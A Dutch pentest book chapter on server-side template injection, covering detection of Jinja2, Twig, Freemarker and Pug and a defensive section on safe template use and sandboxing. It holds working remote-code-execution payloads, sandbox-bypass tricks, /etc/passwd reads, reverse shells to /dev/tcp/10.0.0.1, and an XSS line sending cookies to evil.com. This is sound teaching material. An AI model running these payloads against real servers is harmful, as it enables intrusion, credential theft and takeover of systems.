Server-Side Template Injection (SSTI)

In 1440 veranderde Johannes Gutenberg de wereld met een idee dat zo simpel was dat het achteraf verbijsterend is dat niemand er eerder op was gekomen. Hij maakte losse metalen letters – types – die je in een raamwerk kon plaatsen, kon ininkten, en op papier kon drukken. Je kon de letters hergebruiken, de tekst veranderen, en duizenden kopieën maken van hetzelfde document. De drukpers was geboren, en daarmee het einde van het monopolie van de Kerk op informatie, de opkomst van de wetenschap, en uiteindelijk een wereld waarin iedereen kan lezen en schrijven.

Gutenberg zou het web onmiddellijk begrijpen.

Want wat doen template engines anders dan wat zijn drukpers deed? Ze nemen een sjabloon – een mal, een raamwerk – en vullen het met variabele data. In Gutenbergs tijd waren dat letters en woorden. In onze tijd zijn het gebruikersnamen, productprijzen, en zoekresultaten. Het principe is identiek: scheiding van structuur en inhoud.

Beste {{ naam }},
Uw bestelling van {{ product }} is verzonden.

Dit is een template. De dubbele accolades markeren plekken waar variabele data wordt ingevuld. De template engine – Jinja2, Twig, Freemarker, Pug, of een van de tientallen andere – neemt dit sjabloon, vervangt de variabelen door echte waarden, en genereert de uiteindelijke HTML.

Het is elegant. Het is efficiënt. En het gaat spectaculair mis wanneer een aanvaller de inhoud van de drukplaten kan bepalen.

Want dat is wat Server-Side Template Injection is. Niet het invullen van variabelen in een sjabloon, maar het aanpassen van het sjabloon zelf. Alsof iemand in Gutenbergs werkplaats binnensloop en de loden letters verving door zijn eigen tekst. Behalve dat deze tekst geen woorden bevat, maar instructies. Instructies die de drukpers vertellen om niet te drukken, maar om commando’s uit te voeren op de server.


7.1 Wat is SSTI? (En wat is het niet?)

Laten we het onderscheid helder maken, want het wordt vaak verward met zijn client-side neef.

Cross-Site Scripting (XSS) is code-injectie in de browser. De schadelijke code wordt uitgevoerd op de computer van de bezoeker. Het is vervelend, het is gevaarlijk, maar het is beperkt tot wat een browser kan doen.

Server-Side Template Injection (SSTI) is code-injectie op de server. De schadelijke code wordt uitgevoerd op de server zelf, met alle rechten van het webapplicatieproces. Het is het verschil tussen iemand die je brievenbus openmaakt en iemand die je huis binnenwandelt.

Bij XSS injecteert de aanvaller JavaScript dat in de browser draait:

<script>document.location='http://evil.com/?c='+document.cookie</script>

Bij SSTI injecteert de aanvaller template-syntax die op de server wordt geëvalueerd:

{{config.SECRET_KEY}}

Het eerste steelt cookies. Het tweede steelt alles.

Hoe ontstaat SSTI?

SSTI ontstaat wanneer gebruikersinput direct in een template wordt verwerkt in plaats van als data aan een template te worden doorgegeven. Het verschil is cruciaal.

Veilig – de gebruikersinput wordt als variabele doorgegeven:

# Python/Flask - VEILIG
@app.route('/hello')
def hello():
    name = request.args.get('name', 'wereld')
    return render_template_string('Hallo {{ name }}!', name=name)

Hier is name een variabele die door de template engine wordt geëscaped en ingevuld. Zelfs als name de waarde {{7*7}} heeft, wordt het letterlijk weergegeven als tekst.

Onveilig – de gebruikersinput wordt onderdeel van het template zelf:

# Python/Flask - ONVEILIG
@app.route('/hello')
def hello():
    name = request.args.get('name', 'wereld')
    template = f'Hallo {name}!'
    return render_template_string(template)

Hier wordt de gebruikersinput eerst in de template-string geplakt via de f-string, en daarna wordt het geheel als template geëvalueerd. Als name de waarde {{7*7}} heeft, staat er Hallo {{7*7}}! in het template, en de engine berekent 7*7 = 49. Het resultaat is Hallo 49!.

Het verschil is een enkele regel code. Eén regel. Het verschil tussen een veilige applicatie en een die volledige command execution toestaat via een URL-parameter. Als dat je niet een ongemakkelijk gevoel geeft, zou het dat wel moeten doen.

De template engine als tolk

Een template engine is in essentie een tolk. Je geeft hem een zin in template-taal, en hij vertaalt die naar HTML. Maar deze tolk is niet dom. De meeste template engines ondersteunen expressies, loops, conditionals, en toegang tot objecten en hun methoden.

In Jinja2 kun je dit doen:

{{ range(10)|list }}
{{ request.environ }}
{{ config.items()|list }}

In Twig:

{{ dump(app) }}
{{ '/etc/passwd'|file_excerpt(1,30) }}

In Freemarker:

${.version}
${.data_model}

Elke template engine is een programmeertaal. Sommige zijn beperkt, andere zijn dat niet. En het zijn de onbeperkte die voor de interessantste pentestresultaten zorgen.


7.2 Detectie: welke engine draait er?

Voordat je een SSTI kunt exploiteren, moet je twee dingen weten:

  1. Is SSTI mogelijk? (Wordt mijn input als template geëvalueerd?)
  2. Welke template engine draait er?

Beide vragen kun je beantwoorden met een systematische reeks testpayloads.

IB – De web_ssti_detect command file bevat een complete detectie- workflow, van initiële test tot engine-identificatie. Gebruik deze als checklist bij elke SSTI-test.

Stap 1: Is template injection mogelijk?

Begin met de eenvoudigste payloads. Het doel is om een wiskundige berekening te laten uitvoeren door de server:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}

Elke payload gebruikt de syntax van een andere template engine. Als een van deze 49 retourneert in de response, weet je twee dingen: SSTI is mogelijk, en je hebt een hint over welke engine het is.

Payload Engine(s)
{{7*7}} = 49 Jinja2, Twig, Handlebars, Angular
${7*7} = 49 Freemarker, Smarty, Thymeleaf, Velocity
<%= 7*7 %> = 49 ERB (Ruby), EJS (Node.js)
#{7*7} = 49 Pug/Jade (Node.js), Ruby
*{7*7} = 49 Thymeleaf (Spring)

Stap 2: Welke engine precies?

Meerdere engines gebruiken dezelfde syntax. Om ze te onderscheiden, gebruik je type coercion – het vermenigvuldigen van een getal met een string:

{{7*'7'}}

In Python (Jinja2) vermenigvuldigt 7*'7' de string '7' zeven keer, wat resulteert in '7777777'. In PHP (Twig) is string-vermenigvuldiging geen ding, dus het resultaat is gewoon 49 (PHP cast de string naar een integer).

Dit ene verschil onderscheidt twee engines die dezelfde syntax gebruiken. Het is een vingerafdruk op basis van taalgedrag.

De beslisboom

De IB command file bevat de complete beslisboom, maar hier is de samenvatting:

                    {{7*7}} = 49?
                    /           \
                  ja             nee
                  |               |
           {{7*'7'}} = ?     ${7*7} = 49?
           /         \        /         \
     '7777777'       49     ja          nee
         |            |      |           |
      Jinja2        Twig  ${"test"}?  #{7*7} = 49?
      (Python)      (PHP)  /    \      /         \
                         ja     nee   ja          nee
                          |      |     |           |
                     Freemarker  ?   Pug/Jade    <%= 7*7 %>?
                      (Java)        (Node.js)    /       \
                                               ja        nee
                                                |         |
                                              ERB        ...
                                              (Ruby)

Dit is een gestructureerde aanpak. Geen gokwerk, geen trial-and-error, maar een logische eliminatie die je in vijf requests naar de juiste engine leidt.

IB – De tip onderaan web_ssti_detect is cruciaal: foutmeldingen onthullen vaak de engine naam en versie. Een TemplateSyntaxError met “Jinja2” erin is een cadeautje. Forceer fouten met ongeldige syntax als {{ zonder sluiting.

Waar test je?

SSTI kan opduiken op onverwachte plekken. De voor de hand liggende kandidaten zijn zoekbalken, formuliervelden, en URL-parameters. Maar denk ook aan:

De laatste is bijzonder ironisch. Een admin-paneel dat je templates laat bewerken is per definitie een SSTI-interface. Het enige verschil is dat het “feature” heet in plaats van “kwetsbaarheid”. Het onderscheid hangt af van wie er achter het toetsenbord zit.


7.3 Jinja2: Python’s template engine ontleed

Jinja2 is de default template engine van Flask, een van de populairste Python webframeworks. Het wordt ook gebruikt door Ansible, SaltStack, en Django (als alternatief voor Django’s eigen engine). Als je een Python-webapplicatie test, is de kans groot dat je met Jinja2 te maken hebt.

Detectie:

{{7*7}}   -> 49
{{7*'7'}} -> '7777777'  (Python string multiplication)

Die string-vermenigvuldiging is het bewijs dat je met Python te maken hebt. Geen andere gangbare taal doet dit.

IB – De web_ssti_jinja command file bevat het complete Jinja2 exploit-arsenaal, van info disclosure tot meerdere RCE-methoden. De command file is gestructureerd van eenvoudig naar geavanceerd.

Info disclosure: de voordeur

Voordat je naar RCE grijpt, is het slim om te kijken wat er direct beschikbaar is. In Flask-applicaties zijn er enkele goudmijnen:

# Flask configuratie lezen (bevat SECRET_KEY, database URIs, etc.):
{{config|pprint}}

# Omgevingsvariabelen van het request:
{{request.environ}}

# Alle attributen van het huidige object:
{{self.__dict__}}

{{config|pprint}} is vaak de eerste payload die je probeert na detectie. Het retourneert de complete Flask-configuratie, inclusief de SECRET_KEY (waarmee je sessies kunt forgen), database URIs (met credentials), en alle andere configuratiewaarden die de ontwikkelaar liever verborgen had gehouden.

# Typische output van {{config|pprint}}:
{'DEBUG': True,
 'SECRET_KEY': 'super-geheim-wachtwoord-123',
 'SQLALCHEMY_DATABASE_URI': 'mysql://root:password@localhost/app',
 'MAIL_PASSWORD': 'smtp-password-hier',
 ...}

Dit is geen RCE, maar het is vaak net zo waardevol. Met de SECRET_KEY kun je sessie-cookies forgen en jezelf admin maken. Met de database-URI kun je rechtstreeks verbinden met de database. Soms hoef je helemaal geen code uit te voeren – je hoeft alleen maar te lezen wat er al staat.

RCE via de MRO-keten

Nu wordt het technisch. En fascinerend.

Python is een objectgeoriënteerde taal waarin alles een object is. Letterlijk alles. Een string is een object. Een integer is een object. None is een object. En elk object heeft een klasse, en elke klasse heeft een hiërarchie van ouderklassen, tot aan de oer-klasse object.

Die hiërarchie kun je navigeren:

# Stap 1: Pak de klasse van een lege string
''.__class__
# <class 'str'>

# Stap 2: Bekijk de Method Resolution Order (MRO)
''.__class__.__mro__
# (<class 'str'>, <class 'object'>)

# Stap 3: Pak de basis-klasse 'object'
''.__class__.__mro__[1]
# <class 'object'>

# Stap 4: Bekijk ALLE subklassen van 'object'
''.__class__.__mro__[1].__subclasses__()
# [<class 'type'>, <class 'async_generator'>, ..., <class 'subprocess.Popen'>, ...]

Die laatste stap is de sleutel. __subclasses__() retourneert een lijst van alle klassen die erven van object. En in een typische Python-runtime zijn dat er honderden. Inclusief subprocess.Popen – de klasse waarmee je systeemcommando’s kunt uitvoeren.

In Jinja2 template-syntax:

# Stap 1: Lijst alle subklassen
{{''.__class__.__mro__[1].__subclasses__()}}

Dit geeft een enorme lijst. Zoek in de output naar subprocess.Popen. Noteer de index (positie in de lijst). Stel dat het index 421 is:

# Stap 2: Voer een commando uit via Popen
{{''.__class__.__mro__[1].__subclasses__()[421]('id',shell=True,stdout=-1).communicate()}}

Het resultaat:

(b'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n', None)

Van een lege string naar command execution. Via de klasse-hiërarchie van Python. Het is briljant en beangstigend tegelijk. Het is alsof je via de stamboom van een willekeurige persoon ontdekt dat hij een verre neef is van een bankdirecteur, en vervolgens die verwantschap gebruikt om de kluis te openen.

IB – Belangrijk: de index van subprocess.Popen verschilt per Python-versie en per applicatie (afhankelijk van welke modules geladen zijn). Enumerate altijd eerst met de __subclasses__() payload en zoek de juiste index.

RCE bypass: het __ filter omzeilen

Sommige applicaties filteren dubbele underscores (__) om SSTI te voorkomen. Slim, maar niet slim genoeg. Jinja2’s attr() filter biedt een alternatieve route:

{% set cls = "__class__" %}
{% set mro = "__mro__" %}
{% set sub = "__subclasses__" %}
{% set r = ""|attr(cls)|attr(mro) %}
{% set s = r[1]|attr(sub)() %}
{{s[421]("id",shell=True,stdout=-1).communicate()}}

In plaats van ''.__class__ schrijf je ""|attr("__class__"). Het resultaat is identiek, maar de dubbele underscores staan nu in strings in plaats van direct in de template-expressie. Een filter dat alleen de template-syntax controleert, ziet ze niet.

Het is het equivalent van een bewaker die controleert of je een wapen bij je draagt, maar niet kijkt in de doos die je “cadeautje voor mijn moeder” noemt.

RCE via os.popen

Een elegantere route die geen index-zoektocht vereist:

{{cycler.__init__.__globals__.os.popen('id').read()}}

cycler is een Jinja2 built-in. Via __init__.__globals__ bereik je de globale namespace van de module waarin cycler is gedefinieerd, en daarin zit os. Van daaruit is het een kort pad naar popen().

RCE via url_for

Nog een route, specifiek voor Flask:

{{url_for.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

url_for is een Flask-functie die beschikbaar is in elke Jinja2-template. Via de globale namespace bereik je __builtins__, van daaruit __import__, en daarmee kun je elke Python-module importeren. os.popen('id').read() voert het commando uit en retourneert de output.

Dit is de nucleaire optie. Met __import__ kun je alles importeren: subprocess, socket, http.client. Je hebt niet alleen command execution, je hebt volledige Python. Je kunt een reverse shell spawnen, bestanden lezen en schrijven, netwerkrequests maken, en in theorie het hele systeem overnemen.


7.4 Freemarker: Java’s template tijdbom

Apache Freemarker is de dominante template engine in het Java-ecosysteem. Je vindt het in Spring Boot-applicaties, Java CMS-systemen als Liferay en Halo, en in talloze enterprise-applicaties die gebouwd zijn op het principe “als het in Java is geschreven, is het veilig”. (Het is niet veilig.)

Detectie:

${7*7}     -> 49
${7*"7"}   -> ERROR (Java type mismatch: int * String)

Die foutmelding bij string-vermenigvuldiging onderscheidt Freemarker van Smarty (PHP), die dezelfde ${} syntax gebruikt maar strings wel naar getallen cast.

IB – De web_ssti_freemarker command file bevat Freemarker-specifieke exploits met de ?new() built-in als centraal mechanisme. De tips onderaan verwijzen naar bekende CVE’s in populaire Java CMS-systemen.

RCE via de Execute class

Freemarker heeft een built-in genaamd ?new() die klassen kan instantiëren. Combineer dat met de freemarker.template.utility.Execute klasse:

${"freemarker.template.utility.Execute"?new()("id")}

Dat is het. Een enkele expressie die een OS-commando uitvoert. Geen klasse-hiërarchie navigatie, geen index zoeken, geen omwegen. Freemarker maakt het de aanvaller gemakkelijk op een manier die bijna beledigend is voor de ontwikkelaars die het gebruiken.

# Commando's uitvoeren:
${"freemarker.template.utility.Execute"?new()("whoami")}

# Reverse shell:
${"freemarker.template.utility.Execute"?new()("bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'")}

RCE via ObjectConstructor

Een alternatieve route via ProcessBuilder:

${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"])}

ObjectConstructor is nog een Freemarker utility klasse die willekeurige Java-objecten kan maken. ProcessBuilder is Java’s native manier om processen te starten. De combinatie is voorspelbaar.

Bestanden lezen

Als je geen RCE nodig hebt maar wel bestanden wilt lezen:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve("/etc/passwd").toURL().openStream().readAllBytes()?join(" ")}

Dit is absurd lang, maar het werkt. Het navigeert via de Class-hiërarchie naar een URL-object, opent een stream naar een lokaal bestand, en leest de bytes. De ?join(" ") aan het eind converteert de byte-array naar een leesbare string.

Het is typisch Java: technisch correct, functioneel werkend, en zo verbose dat je er depressief van wordt.

Informatie lekken

# Freemarker versie:
${.version}

# Beschikbare data in het model:
${.data_model}

De versie is belangrijk omdat oudere Freemarker-versies minder restricties hebben op ?new(). En het data model toont welke variabelen beschikbaar zijn in het template-context, wat je hints geeft over de applicatiestructuur.

IB – De tip in web_ssti_freemarker over CVE-2020-21523 is relevant: Halo CMS had een authenticated Freemarker SSTI. “Authenticated” klinkt veilig tot je beseft dat de standaard admin-credentials admin:123456 waren.


7.5 Twig: PHP’s nette neefje

Twig is de template engine van Symfony, het meest gebruikte PHP-framework na Laravel. Het wordt ook gebruikt door Craft CMS, Drupal 8+, en tal van andere PHP-applicaties die bewust hebben gekozen voor een template engine die veiliger is dan PHP zelf. Ironisch genoeg is die keuze niet altijd veiliger gebleken.

Detectie:

{{7*7}}    -> 49
{{7*'7'}}  -> 49  (NIET '7777777' -- dat zou Jinja2 zijn)

Het verschil met Jinja2 is subtiel maar betrouwbaar. PHP cast '7' naar het getal 7 voor de vermenigvuldiging, dus het resultaat is 49. Python herhaalt de string, dus het resultaat is '7777777'. Deze ene observatie onderscheidt twee engines met identieke syntax.

IB – De web_ssti_twig command file bevat exploits voor zowel Twig 1.x (deprecated maar nog in gebruik) als Twig 2.x/3.x. De |reduce en |sort filters zijn de sleutel voor moderne versies.

RCE via het reduce filter (Twig 2.x/3.x)

Het reduce filter in Twig accepteert een callback-functie als argument. In PHP is system een functie. Dus:

{{[0]|reduce('system','id')}}

Dit roept system('id') aan via het reduce filter. De [0] is een array met een element (nodig als input voor reduce), 'system' is de callback, en 'id' is de initiële waarde die als argument aan system wordt doorgegeven.

# Commando's uitvoeren:
{{[0]|reduce('system','whoami')}}

# Reverse shell:
{{[0]|reduce('system','bash -c "bash -i >& /dev/tcp/10.0.0.1/443 0>&1"')}}

RCE via het sort filter

Vergelijkbaar met reduce, accepteert sort een callback:

{{['id']|sort('passthru')}}
{{['whoami']|sort('system')}}

passthru en system zijn PHP-functies die commando’s uitvoeren. Door ze als sorteer-callback te gebruiken, worden ze aangeroepen met de array- elementen als argumenten.

Het is alsof je een sorteeralgoritme geeft aan iemand en zegt “sorteer deze lijst”, maar het algoritme is eigenlijk een instructie om de kluis te openen. Het systeem doet braaf wat je vraagt, zonder te beseffen dat de vraag kwaadaardig is.

Bestanden lezen

Twig heeft een ingebouwd filter voor het lezen van bestanden:

{{'/etc/passwd'|file_excerpt(1,30)}}

Dit leest de eerste 30 regels van /etc/passwd. Het is een Twig-feature die bedoeld is voor debugging. Dat het in productie beschikbaar is, is een keuze die het woord “onverstandig” niet volledig dekt.

Informatie lekken

# Twig environment informatie:
{{_self.env.getExtension('Twig_Extension_Core')}}

# Symfony applicatie dump (als debug mode aan staat):
{{dump(app)}}

dump(app) in Symfony geeft je het complete applicatie-object, inclusief de kernel, de container met alle services, en de configuratie. Het is het equivalent van iemand die je de blauwdruk van het gebouw geeft terwijl je alleen de weg naar het toilet vroeg.

Twig 1.x: de klassieke RCE

Twig 1.x had een bijzonder directe exploitatie-methode via _self:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Stap voor stap:

  1. registerUndefinedFilterCallback("exec") registreert PHP’s exec-functie als callback voor onbekende filters.
  2. getFilter("id") zoekt naar een filter genaamd “id”. Dat filter bestaat niet, dus de callback wordt aangeroepen met “id” als argument.
  3. exec("id") wordt uitgevoerd.

Twig 2.x heeft dit gefixt door _self.env alleen-lezen te maken. Maar Twig 1.x applicaties bestaan nog. En als er iets is dat dit boek consequent bewijst, is het dat oude software niet doodgaat. Het wordt alleen vergeten door iedereen behalve aanvallers.

IB – De tip over Craft CMS en de Sprout Forms plugin in web_ssti_twig is een concreet voorbeeld van een real-world SSTI-vector. Sprout Forms liet gebruikers Twig-syntax invoeren in formuliervelden die server-side werden gerenderd.


7.6 Pug: Node.js en de kunst van de indentatie

Pug (voorheen Jade) is de meest gebruikte template engine in het Express.js- ecosysteem. Het onderscheidt zich door zijn indentatie-gebaseerde syntax – geen HTML-tags, geen sluittags, alleen indentatie. Het is compact, het is elegant, en het geeft je rechtstreeks toegang tot Node.js, wat betekent dat SSTI hier niet “mogelijk” is maar “triviaal”.

Detectie:

#{7*7}  -> 49

De #{} syntax en het ontbreken van sluit-tags zijn de vingerafdrukken van Pug.

IB – De web_ssti_pug command file bevat Pug-specifieke payloads die gebruikmaken van Node.js’ global.process.mainModule.require. Let op het verschil tussen - (unbuffered) en = (buffered) prefixes.

RCE via child_process

In Pug kun je JavaScript-code uitvoeren met het - (unbuffered, geen output) of = (buffered, output wordt gerenderd) prefix:

- var require = global.process.mainModule.require
= require('child_process').spawnSync('id').stdout

Stap voor stap:

  1. global.process.mainModule.require geeft je toegang tot Node.js’ require functie, waarmee je modules kunt laden.
  2. require('child_process') laadt de module voor het uitvoeren van systeemcommando’s.
  3. .spawnSync('id').stdout voert id uit en retourneert de output.

Het - prefix voert code uit zonder output (handig voor setup). Het = prefix voert code uit en rendert het resultaat in de HTML.

Reverse shell

- var require = global.process.mainModule.require
- require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.0.0.1/443 0>&1"')

Twee regels. Een reverse shell. In een template engine. De eenvoud is bijna ontwapenend.

Bestanden lezen

- var require = global.process.mainModule.require
= require('fs').readFileSync('/etc/passwd','utf8')

fs is Node.js’ bestandssysteem-module. readFileSync leest een bestand synchroon en retourneert de inhoud als string. Geen omwegen, geen wrappers, geen MRO-ketens. Just require and read.

De korte versie

Als je weet dat eval beschikbaar is of de sandbox niet strikt is:

#{global.process.mainModule.require('child_process').execSync('id')}

Alles op een regel. Van template injection naar command execution in een enkele expressie. Pug maakt het de aanvaller zo gemakkelijk dat het bijna onbeleefd is.

IB – De tips in web_ssti_pug benadrukken dat Pug indentation- gebaseerd is. In HTTP-requests kan dit lastig zijn: zorg dat de indentatie correct is, anders krijg je syntax errors. Gebruik execSync als eenvoudigste route voor output.


7.7 Sandbox escapes: de muren doorbreken

Template engines zijn zich bewust van het risico. Veel van hen implementeren sandboxes – beperkingen op wat templates mogen doen. De vraag is niet of die sandboxes bestaan, maar of ze werken.

Hoe sandboxes werken

Een template sandbox beperkt typisch het volgende:

In Jinja2 kun je een SandboxedEnvironment configureren:

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
# __class__, __mro__, etc. zijn nu geblokkeerd

In Twig kun je een security policy instellen:

$policy = new Twig\Sandbox\SecurityPolicy(
    ['if', 'for'],      // Toegestane tags
    ['upper', 'lower'], // Toegestane filters
    [],                  // Toegestane methoden
    [],                  // Toegestane properties
    []                   // Toegestane functies
);
$sandbox = new Twig\Extension\SandboxExtension($policy);

Hoe sandboxes falen

Het probleem met sandboxes is dat ze werken op basis van bekende gevaarlijke patronen. Ze zijn blacklists in vermomming. En elke blacklist heeft blinde vlekken.

Jinja2 sandbox escapes:

De SandboxedEnvironment blokkeert directe toegang tot __class__ en gerelateerde attributen. Maar het attr() filter werkt soms nog:

{# Directe toegang geblokkeerd: #}
{{''.__class__}}  {# -> SecurityError #}

{# Via attr() filter: #}
{{""|attr("__class__")}}  {# -> Werkt soms nog #}

Of via string-concatenatie:

{# Onderscores in variabelen: #}
{% set x = "__cla" ~ "ss__" %}
{{""|attr(x)}}

Twig sandbox escapes:

Twig’s sandbox is strikter, maar oudere versies hadden bugs. Twig 1.x’s _self.env was nooit bedoeld als publieke API maar was wel toegankelijk. Twig 2.x fixte dit, maar niet voordat duizenden applicaties waren gebouwd op het oude gedrag.

Freemarker sandbox (configuratie-gebaseerd):

Freemarker heeft geen echte sandbox, maar een configuratie-optie new_builtin_class_resolver die bepaalt welke klassen via ?new() mogen worden geïnstantieerd:

// VEILIG:
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

// ONVEILIG (standaard in veel applicaties):
cfg.setNewBuiltinClassResolver(TemplateClassResolver.UNRESTRICTED_RESOLVER);

De standaardinstelling in veel applicaties is UNRESTRICTED_RESOLVER. De veilige optie bestaat, maar wordt niet standaard gebruikt. Het is als een kogelvrij vest dat in de doos zit terwijl je wordt beschoten.

Pug: geen sandbox

Pug heeft geen sandbox-mechanisme. Het is JavaScript in een template- syntaxis. Alles wat Node.js kan, kan Pug. Dit is geen bug – het is by design. De Pug-ontwikkelaars hebben besloten dat als je Pug gebruikt, je vertrouwt op de input die je templates bereikt. Dat is een aanname die in de praktijk ongeveer even betrouwbaar is als de aanname dat gebruikers alleen hun echte naam invullen in een formulier.

De fundamentele zwakte van sandboxes

Het probleem met template sandboxes is conceptueel. Een sandbox probeert een programmeertaal te beperken. Maar programmeertalen zijn ontworpen om expressief en flexibel te zijn. Die expressiviteit en flexibiliteit zijn precies wat aanvallers gebruiken om de sandbox te omzeilen.

Het is een fundamentele tegenstelling: je wilt een taal die krachtig genoeg is om nuttige templates te maken, maar beperkt genoeg om geen schade aan te richten. Die balans is bijna onmogelijk te vinden. Elke keer dat een sandbox wordt aangescherpt, wordt de taal minder bruikbaar. En elke keer dat de taal expressiever wordt, vinden aanvallers nieuwe ontsnappingsroutes.

De oplossing is niet een betere sandbox. De oplossing is gebruikersinput nooit als template-code te behandelen. Maar dat is een boodschap die al jaren wordt herhaald en al jaren wordt genegeerd.


7.8 Verdediging: de drukplaten beschermen

De verdediging tegen SSTI is conceptueel simpel maar organisatorisch complex. Het vereist dat ontwikkelaars begrijpen hoe template engines werken – niet alleen de syntax, maar de semantiek, de evaluatie-volgorde, en de implicaties van elke design-keuze.

Regel 1: Nooit gebruikersinput in templates

De fundamentele regel. Gebruikersinput hoort in variabelen, niet in template-strings:

# FOUT:
render_template_string(f"Hallo {user_input}!")

# GOED:
render_template_string("Hallo {{ name }}!", name=user_input)
// FOUT:
$twig->createTemplate("Hallo " . $userInput . "!")->render();

// GOED:
$twig->render('greeting.html', ['name' => $userInput]);
// FOUT:
Template t = cfg.getTemplate(new StringReader("Hallo " + userInput + "!"));

// GOED:
Template t = cfg.getTemplate("greeting.ftl");
Map<String, Object> data = new HashMap<>();
data.put("name", userInput);
t.process(data, out);

Het patroon is consistent over alle talen: scheiding van template en data. Het template is code – vertrouwd, door de ontwikkelaar geschreven, statisch. De data is variabel – niet vertrouwd, door de gebruiker aangeleverd, dynamisch. De twee mogen nooit worden vermengd.

Regel 2: Gebruik logic-less templates waar mogelijk

Logic-less template engines – zoals Mustache en Handlebars – beperken opzettelijk wat je in een template kunt doen. Geen loops, geen conditionals, geen expressie-evaluatie. Alleen variabele substitutie.

{{! Handlebars: alleen substitutie, geen evaluatie }}
<p>Hallo, {{name}}!</p>
<p>Je hebt {{count}} berichten.</p>

Het gebrek aan functionaliteit is het beveiligingsvoordeel. Als de template engine geen expressies kan evalueren, kan een aanvaller geen expressies injecteren. Het is beveiliging door beperking, en het werkt beter dan beveiliging door complexiteit.

De trade-off is dat je meer logica in de applicatiecode moet schrijven in plaats van in templates. Maar dat is sowieso waar logica thuishoort. Templates zijn voor presentatie, niet voor logica. Als je if-statements in je templates schrijft, ben je een programma aan het schrijven, niet een template.

Regel 3: Sandbox configuratie

Als je een volledige template engine nodig hebt, configureer de sandbox:

Jinja2:

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
# Optioneel: extra beperkingen
env.globals = {}      # Geen globale functies
env.filters = {}      # Geen filters (extreem, maar veilig)

Twig:

$policy = new Twig\Sandbox\SecurityPolicy(
    ['if', 'for', 'set'],           // Tags
    ['escape', 'upper', 'lower'],   // Filters
    [],                              // Methoden: LEEG
    [],                              // Properties: LEEG
    ['range', 'cycle']               // Functies
);
$sandbox = new Twig\Extension\SandboxExtension($policy, true); // true = globaal
$twig->addExtension($sandbox);

Freemarker:

Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
cfg.setAPIBuiltinEnabled(false);

Regel 4: Input validatie

Als je om een of andere reden gebruikersinput in templates moet verwerken (en vraag jezelf drie keer af of dat echt nodig is), valideer de input strikt:

import re

def sanitize_template_input(value):
    # Strip ALLES dat op template-syntax lijkt
    dangerous_patterns = [
        r'\{\{',    # Jinja2/Twig/Handlebars
        r'\}\}',
        r'\$\{',    # Freemarker/EL
        r'<%',      # ERB/EJS
        r'%>',
        r'#\{',     # Pug/Ruby
        r'\{%',     # Jinja2/Twig blocks
        r'%\}',
    ]
    for pattern in dangerous_patterns:
        if re.search(pattern, value):
            raise ValueError(f"Ongeldige input: template syntax gedetecteerd")
    return value

Dit is een blacklist-benadering en dus inherent onvolledig. Maar het is een extra laag bovenop de andere maatregelen. Verdediging in diepte.

Regel 5: Content Security Policy

Een CSP-header kan de impact van SSTI beperken door te voorkomen dat geïnjecteerde JavaScript wordt uitgevoerd (als de SSTI output in HTML terechtkomt):

Content-Security-Policy: default-src 'self'; script-src 'self'

Dit voorkomt geen server-side code execution, maar het beperkt wat een aanvaller aan de client-side kan doen met de output van een succesvolle SSTI.

Regel 6: Least privilege

Het webapplicatieproces moet draaien met minimale rechten:

# De applicatie als unprivileged user:
sudo -u www-data python app.py

# In Docker:
USER nobody

# SELinux/AppArmor profielen die bestandstoegang beperken

Als een aanvaller RCE bereikt via SSTI, zijn de rechten van het proces het plafond van wat hij kan doen. Een proces dat als root draait, geeft de aanvaller het hele systeem. Een proces dat als nobody draait, geeft de aanvaller bijna niets.


7.9 De ongemakkelijke waarheid

En dan nu het moment waarop we even eerlijk moeten zijn over de stand van zaken. Het moment waarop de cynische stem het overneemt van de nieuwsgierige wetenschapper.

We laten gebruikers code schrijven in onze templates.

Lees die zin nog eens. We bouwen systemen die template-syntax evalueren, we stoppen daar gebruikersinput in, en we zijn verrast wanneer iemand die evaluatie misbruikt. Het is alsof je een vreemdeling de sleutels van je auto geeft en dan verbaasd bent dat hij wegrijdt.

De tools om SSTI te voorkomen bestaan al jaren. render_template_string met variabelen in plaats van f-strings is geen raketwetenschap. Sandboxed environments zijn gedocumenteerd. Logic-less templates bestaan. En toch, in 2026, publiceren beveiligingsonderzoekers nog steeds CVE’s voor SSTI in productieapplicaties die door miljoenen mensen worden gebruikt.

Het probleem is niet technisch. De oplossingen bestaan. Het probleem is cultureel. Ontwikkelaars kiezen voor de snelle route – een f-string is twee toetsaanslagen korter dan een extra parameter in render_template_string. Code reviewers missen het verschil omdat ze niet weten hoe template engines werken. Testers testen niet voor SSTI omdat het niet op hun checklist staat. En managers zeggen “het werkt toch?” tot het moment dat het niet meer werkt.

SSTI is geen geavanceerde aanval. Het is geen zero-day. Het is geen state- sponsored APT. Het is een gewone bug die voortkomt uit een gewoon gebrek aan aandacht. En dat maakt het eigenlijk erger dan al die exotische aanvallen waar de beveiligingsindustrie zo graag over praat. Want een zero-day kun je niet voorkomen. SSTI kun je voorkomen door vijf minuten langer na te denken voordat je commit. Maar die vijf minuten zijn blijkbaar te veel gevraagd.

De template engine is een drukpers. Gutenberg begreep dat de kracht van de drukpers lag in het feit dat de drukker bepaalde wat er werd gedrukt. Niet de lezer. Niet de voorbijganger. De drukker. In de vijfhonderd jaar sinds Gutenberg zijn we erin geslaagd om dat principe te vergeten en de controle over de drukplaten aan willekeurige internetgebruikers te geven.

Gutenberg zou het snappen. Maar hij zou het niet goedkeuren.


7.10 Referentietabel

Engine Taal Detectie RCE Payload
Jinja2 Python {{7*7}}=49, {{7*'7'}}=‘7777777’ {{cycler.__init__.__globals__.os.popen('id').read()}}
Twig PHP {{7*7}}=49, {{7*'7'}}=49 {{[0]\|reduce('system','id')}}
Freemarker Java ${7*7}=49, ${"test"}=‘test’ ${"freemarker.template.utility.Execute"?new()("id")}
